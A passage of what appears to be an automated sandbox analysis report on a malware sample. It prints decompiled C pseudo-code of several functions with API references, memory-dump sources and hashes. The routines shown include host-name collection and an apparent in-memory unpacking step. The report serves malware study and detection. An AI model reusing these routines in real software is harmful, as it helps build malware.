							HeapFree( *0x2d7d238, 0, _t55);
						}
					}
					HeapFree( *0x2d7d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E02D71F99(_t54);
				}
				return _t45;
			}

0x02d773fd
0x02d7740d
0x02d77410
0x02d77417
0x02d77419
0x02d77419
0x02d7741c
0x02d77421
0x02d77428
0x02d77435
0x02d7743a
0x02d7743e
0x02d7744c
0x02d7745a
0x02d7745e
0x02d774ef
0x02d774ef
0x02d77464
0x02d77464
0x02d77469
0x02d77469
0x02d77470
0x02d7747c
0x02d7747e
0x02d77480
0x02d77482
0x02d77489
0x02d7749b
0x02d7749d
0x02d774a4
0x02d774a6
0x02d774ad
0x02d774b8
0x02d774b8
0x02d774a4
0x02d774bd
0x02d774c2
0x02d774c9
0x02d774e7
0x02d774e9
0x02d774e9
0x02d77480
0x02d774fb
0x02d774fb
0x02d774fd
0x02d77502
0x02d77504
0x02d77504
0x02d7750f

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05129388,00000000,?,74B5F710,00000000,74B5F730), ref: 02D7744C
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,051293C0,?,00000000,30314549,00000014,004F0053,0512937C), ref: 02D774E9
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,02D76814), ref: 02D774FB

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c7319e6051572fad488397e95010fbe8e7387a0dffb0221158d34886ae26a0ad
Instruction ID: fd3f7f11d2eca4547772452de628173deead0f93f6effdd52dce3321826d0f5f
Opcode Fuzzy Hash: c7319e6051572fad488397e95010fbe8e7387a0dffb0221158d34886ae26a0ad
Instruction Fuzzy Hash: C8317072D01108AFEB11DBA0DC84E9ABBBDEF44314F1544A6A604AB260F7789E19DB60

Uniqueness

Uniqueness Score: -1.00%

Function 02D78504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E02D78504(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t30;
				void* _t37;
				void* _t40;
				intOrPtr _t42;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x2d7d340; // 0x5129928
				_push(0x800);
				_push(0);
				_push( *0x2d7d238);
				if( *0x2d7d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x2d7d24c =  *0x2d7d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E02D72496(_t44, _t40);
						_t18 = E02D7A66E(_t37, _t40, _t44);
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x2d7d24c < 5) {
								 *0x2d7d24c =  *0x2d7d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E02D7A1B0();
						RtlFreeHeap( *0x2d7d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E02D7A279(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t24 = E02D78B94(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x02d78504
0x02d78507
0x02d78508
0x02d78512
0x02d78519
0x02d7851e
0x02d78520
0x02d78526
0x02d7854e
0x02d78566
0x02d78568
0x02d78569
0x02d7856b
0x02d785a9
0x02d785a9
0x02d785af
0x02d785b5
0x02d785b5
0x02d7856d
0x02d78573
0x02d78576
0x02d78585
0x02d78587
0x02d7858e
0x02d785c2
0x02d785c7
0x02d785c9
0x02d785cb
0x02d785cb
0x00000000
0x02d785c9
0x02d78590
0x02d78595
0x02d785a3
0x00000000
0x02d785a3
0x02d7855d
0x02d78562
0x02d78562
0x00000000
0x02d78562
0x02d78530
0x00000000
0x00000000
0x02d7853f
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,74B5F710), ref: 02D78528

Part of subcall function 02D78B94: GetTickCount.KERNEL32 ref: 02D78BA8
Part of subcall function 02D78B94: wsprintfA.USER32 ref: 02D78BF8
Part of subcall function 02D78B94: wsprintfA.USER32 ref: 02D78C15
Part of subcall function 02D78B94: wsprintfA.USER32 ref: 02D78C41
Part of subcall function 02D78B94: HeapFree.KERNEL32(00000000,?), ref: 02D78C53
Part of subcall function 02D78B94: wsprintfA.USER32 ref: 02D78C74
Part of subcall function 02D78B94: HeapFree.KERNEL32(00000000,?), ref: 02D78C84
Part of subcall function 02D78B94: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02D78CB2
Part of subcall function 02D78B94: GetTickCount.KERNEL32 ref: 02D78CC3

RtlAllocateHeap.NTDLL(00000000,00000800,74B5F710), ref: 02D78546
RtlFreeHeap.NTDLL(00000000,00000002,02D7685F,?,02D7685F,00000002,?,?,02D72417,?), ref: 02D785A3

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: 7acf806d2f2adee2fc084d83bad6a93f96cf35a9dd7aa2647ac5de9a91fcdb39
Instruction ID: 6fe8773eb304836f89c68c73efbe710841fe1953bd760dd84b93a789951f5d4d
Opcode Fuzzy Hash: 7acf806d2f2adee2fc084d83bad6a93f96cf35a9dd7aa2647ac5de9a91fcdb39
Instruction Fuzzy Hash: DD214A75640204EFDB019F54D888A9A37AEEB49744F104426F902DB350FB78DD55EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02D73DD9, Relevance: 3.9, APIs: 3, Instructions: 155
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E02D73DD9(void* __eflags, int _a4) {
				intOrPtr _v12;
				WCHAR* _v16;
				char* _v20;
				int _v24;
				void* _v36;
				char _v40;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				void _v84;
				char _v88;
				void* __ebx;
				void* __esi;
				intOrPtr _t40;
				int _t45;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t67;
				void* _t70;
				void* _t80;
				WCHAR* _t85;

				_v88 = 0;
				memset( &_v84, 0, 0x2c);
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t40 =  *0x2d7d27c; // 0x23aa5a8
				_t5 = _t40 + 0x2d7ee40; // 0x410025
				_t85 = E02D76A12(_t5);
				_v16 = _t85;
				if(_t85 == 0) {
					_t80 = 8;
					L24:
					return _t80;
				}
				_t45 = StrCmpNIW(_t85, _a4, lstrlenW(_t85)); // executed
				if(_t45 != 0) {
					_t80 = 1;
					L22:
					E02D79039(_v16);
					goto L24;
				}
				if(E02D7A72D(0,  &_a4) != 0) {
					_a4 = 0;
				}
				_t50 = E02D7809F(0,  *0x2d7d33c);
				_v12 = _t50;
				if(_t50 == 0) {
					_t80 = 8;
					goto L19;
				} else {
					_t52 =  *0x2d7d27c; // 0x23aa5a8
					_t11 = _t52 + 0x2d7e81a; // 0x65696c43
					_t55 = E02D7809F(0, _t11);
					_t87 = _t55;
					if(_t55 == 0) {
						_t80 = 8;
					} else {
						_t80 = E02D76BFA(_a4, 0x80000001, _v12, _t87,  &_v88,  &_v84);
						E02D79039(_t87);
					}
					if(_t80 != 0) {
						L17:
						E02D79039(_v12);
						L19:
						_t86 = _a4;
						if(_a4 != 0) {
							E02D71F99(_t86);
						}
						goto L22;
					} else {
						if(( *0x2d7d260 & 0x00000001) == 0) {
							L14:
							E02D78F83(_t80, _v88, _v84,  *0x2d7d270, 0);
							_t80 = E02D71C74(_v88,  &_v80,  &_v76, 0);
							if(_t80 == 0) {
								_v24 = _a4;
								_v20 =  &_v88;
								_t80 = E02D742EA( &_v40, 0);
							}
							E02D79039(_v88);
							goto L17;
						}
						_t67 =  *0x2d7d27c; // 0x23aa5a8
						_t18 = _t67 + 0x2d7e823; // 0x65696c43
						_t70 = E02D7809F(0, _t18);
						_t89 = _t70;
						if(_t70 == 0) {
							_t80 = 8;
						} else {
							_t80 = E02D76BFA(_a4, 0x80000001, _v12, _t89,  &_v72,  &_v68);
							E02D79039(_t89);
						}
						if(_t80 != 0) {
							goto L17;
						} else {
							goto L14;
						}
					}
				}
			}

0x02d73deb
0x02d73dee
0x02d73df5
0x02d73dfb
0x02d73dfc
0x02d73dfd
0x02d73dfe
0x02d73dff
0x02d73e00
0x02d73e08
0x02d73e14
0x02d73e18
0x02d73e1b
0x02d73f6b
0x02d73f6e
0x02d73f72
0x02d73f72
0x02d73e2d
0x02d73e35
0x02d73f5e
0x02d73f5f
0x02d73f62
0x00000000
0x02d73f62
0x02d73e47
0x02d73e49
0x02d73e49
0x02d73e54
0x02d73e5b
0x02d73e5e
0x02d73f4d
0x00000000
0x02d73e64
0x02d73e64
0x02d73e69
0x02d73e72
0x02d73e77
0x02d73e80
0x02d73ea3
0x02d73e82
0x02d73e98
0x02d73e9a
0x02d73e9a
0x02d73ea6
0x02d73f41
0x02d73f44
0x02d73f4e
0x02d73f4e
0x02d73f53
0x02d73f55
0x02d73f55
0x00000000
0x02d73eac
0x02d73eb3
0x02d73ef4
0x02d73f05
0x02d73f1b
0x02d73f1f
0x02d73f24
0x02d73f2a
0x02d73f37
0x02d73f37
0x02d73f3c
0x00000000
0x02d73f3c
0x02d73eb5
0x02d73eba
0x02d73ec3
0x02d73ec8
0x02d73ecc
0x02d73eef
0x02d73ece
0x02d73ee4
0x02d73ee6
0x02d73ee6
0x02d73ef2
0x00000000
0x00000000
0x00000000
0x00000000
0x02d73ef2
0x02d73ea6

APIs

memset.NTDLL ref: 02D73DEE

Part of subcall function 02D76A12: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,?,?,00000000,02D73E14,00410025,00000005,?,00000000), ref: 02D76A23
Part of subcall function 02D76A12: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000), ref: 02D76A40

lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 02D73E22
StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 02D73E2D

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: EnvironmentExpandStrings$lstrlenmemset
String ID:
API String ID: 3817122888-0
Opcode ID: 9f5fa63292fd0a15dbf958f74f0cf9d9c383ea06488590d108be19ca2bcd3e5f
Instruction ID: a22d71cf8308755c24895ee70ff975b49898c2df07bb44c717b5005e53a4fa38
Opcode Fuzzy Hash: 9f5fa63292fd0a15dbf958f74f0cf9d9c383ea06488590d108be19ca2bcd3e5f
Instruction Fuzzy Hash: 9B414F72901218AEDB11AEE4CC849EEBBBEEF08344F104566E505E6350F779DE44DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D79152, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E02D79152(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E02D73AEF(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x2d7d27c; // 0x23aa5a8
						_t20 = _t68 + 0x2d7e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E02D77C14(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x02d79158
0x02d7915b
0x02d7916b
0x02d79174
0x02d79178
0x02d79246
0x02d7924c
0x02d7924c
0x02d79192
0x02d79197
0x02d7919b
0x02d791a1
0x02d791a6
0x02d791ad
0x02d791bc
0x02d791bc
0x02d791c0
0x02d791c2
0x02d791ce
0x02d791d9
0x02d791e4
0x02d791e8
0x02d791f2
0x02d791f6
0x02d791f8
0x02d791fd
0x02d79204
0x02d79214
0x02d79214
0x02d791fd
0x02d791f6
0x02d79216
0x02d7921b
0x02d79220
0x02d79220
0x02d79226
0x02d7922c
0x02d79231
0x02d79231
0x02d79236
0x02d7923b
0x02d7923b
0x02d79236
0x02d791c0
0x02d7923d
0x02d79243
0x00000000

APIs

Part of subcall function 02D73AEF: SysAllocString.OLEAUT32(80000002), ref: 02D73B46
Part of subcall function 02D73AEF: SysFreeString.OLEAUT32(00000000), ref: 02D73BAB

SysFreeString.OLEAUT32(?), ref: 02D79231
SysFreeString.OLEAUT32(02D71885), ref: 02D7923B

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: e067a4f5429f82f09555a2a69ff81d3acbc2f3d1d833bee4c1b153f62e44e38a
Instruction ID: f8059a3e54fc4c32067af358e2bcb5891792bbbb6649372cbf89d3e9af07a9fa
Opcode Fuzzy Hash: e067a4f5429f82f09555a2a69ff81d3acbc2f3d1d833bee4c1b153f62e44e38a
Instruction Fuzzy Hash: ED316972900118AFCB21EFA9C898CDBBB7AFFC9744B518658F8159B210E335DD51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02CD6194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E02CD6194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E02CD463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E02CD4859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E02CD2DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E02CD348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E02CD4DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x02cd6194
0x02cd6194
0x02cd6194
0x02cd6195
0x02cd619c
0x02cd619f
0x02cd61a4
0x02cd61a7
0x02cd61a9
0x02cd61ab
0x02cd61ac
0x02cd61af
0x02cd61b7
0x02cd61c5
0x02cd61c5
0x02cd61ca
0x02cd61ca
0x02cd61d1
0x02cd61d5
0x02cd61d8
0x02cd61de
0x02cd61e8
0x02cd61f0
0x02cd61f7
0x02cd61fd
0x02cd6207
0x02cd6209
0x02cd6210
0x02cd6214
0x02cd6218
0x02cd621c
0x02cd6226
0x02cd6226
0x02cd6230
0x02cd6230
0x02cd6233
0x02cd6233
0x02cd6239
0x02cd6240
0x02cd6243
0x02cd624b
0x02cd624f
0x02cd6255
0x02cd6260
0x02cd6262
0x02cd6267
0x02cd6272
0x02cd6274
0x02cd6276
0x02cd6279
0x02cd627a
0x02cd627d
0x02cd6281
0x02cd6284
0x02cd6284
0x02cd628a
0x02cd628d
0x02cd628e
0x02cd628e
0x02cd628e
0x02cd6296
0x02cd629f
0x02cd629f
0x02cd62a2
0x02cd62a7
0x02cd62af
0x02cd62b3
0x02cd62b4
0x02cd62b4
0x02cd62b9
0x02cd62c6
0x02cd62c9
0x02cd62cd
0x02cd62e1
0x02cd62e9
0x02cd62ed
0x02cd62f3
0x02cd62f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 02CD61CA
VirtualProtect.KERNELBASE(?,?), ref: 02CD6233

Memory Dump Source

Source File: 00000005.00000002.487584524.0000000002CD0000.00000040.00000001.sdmp, Offset: 02CD0000, based on PE: true

Associated: 00000005.00000002.487661592.0000000002CE8000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.487672140.0000000002D2D000.00000040.00000001.sdmp Download File

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: 9617e681394e9772144f4e3b9eca948aae844f0b781ced42718e1248b82db39a
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: 6041C1725046049FEB04DF20C8847ADBBFAEFC8701F1A846DDE888B249DB785541CB69

Uniqueness

Uniqueness Score: -1.00%

Function 02D754BC, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E02D754BC(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E02D72049(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E02D79039(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x02d754c1
0x02d754cc
0x02d754ce
0x02d754d4
0x02d754d6
0x02d754db
0x02d754e4
0x02d754e8
0x02d754f1
0x02d754f5
0x02d75504
0x02d754f7
0x02d754f8
0x02d754fd
0x02d754fd
0x02d754f5
0x02d754e8
0x02d7550d

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,02D7A306,74B5F710,00000000,?,?,02D7A306), ref: 02D754D4

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

GetComputerNameExA.KERNELBASE(00000003,00000000,02D7A306,02D7A307,?,?,02D7A306), ref: 02D754F1

Part of subcall function 02D79039: HeapFree.KERNEL32(00000000,00000000,02D77F18,00000000,?,?,00000000), ref: 02D79045

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 7faf57629e8024ae830a682b8ff3203ce51a3a090bd4759c550b78d6e41bf6a7
Instruction ID: 8a60c4c62308f6c68cd0748a2d8ea81dbfb2fabf25ef7a4de189817f68470c0e
Opcode Fuzzy Hash: 7faf57629e8024ae830a682b8ff3203ce51a3a090bd4759c550b78d6e41bf6a7
Instruction Fuzzy Hash: 65F05426610149BAEB11DAAA9C00EAF77AEDBC5654F610169AD04D3244FA74DF01C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 02D78055, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x2d7d23c) == 0) {
						E02D7970F();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x2d7d23c) == 1) {
						_t10 = E02D76A56(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x02d7805c
0x02d7805d
0x02d78060
0x02d78092
0x02d78094
0x02d78094
0x02d78062
0x02d78063
0x02d78078
0x02d7807f
0x02d78081
0x02d78081
0x02d7807f
0x02d78063
0x02d7809c

APIs

InterlockedIncrement.KERNEL32(02D7D23C), ref: 02D7806A

Part of subcall function 02D76A56: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,02D7807D,?), ref: 02D76A69

InterlockedDecrement.KERNEL32(02D7D23C), ref: 02D7808A

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: 1c76e8e5617fd49e8bdd3dadda5e37f733c2962de7b9c01d84f6af08a3aeca25
Instruction ID: f2a98aadb2a6c8ebc9910c2144cec61f0c785b38996b74a89b2c886aaf411698
Opcode Fuzzy Hash: 1c76e8e5617fd49e8bdd3dadda5e37f733c2962de7b9c01d84f6af08a3aeca25
Instruction Fuzzy Hash: 68E026352542215792302B74980CB5EA70AEF00B80F208A14F685D4360F72CCC90FAE1

Uniqueness

Uniqueness Score: -1.00%

Function 02D79318, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E02D79318(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x2d7d27c; // 0x23aa5a8
				_t4 = _t15 + 0x2d7e39c; // 0x5128944
				_t20 = _t4;
				_t6 = _t15 + 0x2d7e124; // 0x650047
				_t17 = E02D79152(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E02D79FC9(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x02d79322
0x02d79324
0x02d7932b
0x02d7932c
0x02d7932d
0x02d7932e
0x02d79334
0x02d79339
0x02d79339
0x02d79343
0x02d79355
0x02d7935c
0x02d7938b
0x02d7935e
0x02d79363
0x02d79388
0x02d79365
0x02d79368
0x02d7936f
0x02d7937a
0x02d79371
0x02d79374
0x02d79374
0x02d7937e
0x02d7937e
0x02d79363
0x02d79392

APIs

Part of subcall function 02D79152: SysFreeString.OLEAUT32(?), ref: 02D79231

Part of subcall function 02D79FC9: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,02D77946,004F0053,00000000,?), ref: 02D79FD2
Part of subcall function 02D79FC9: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,02D77946,004F0053,00000000,?), ref: 02D79FFC
Part of subcall function 02D79FC9: memset.NTDLL ref: 02D7A010

SysFreeString.OLEAUT32(00000000), ref: 02D7937E

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

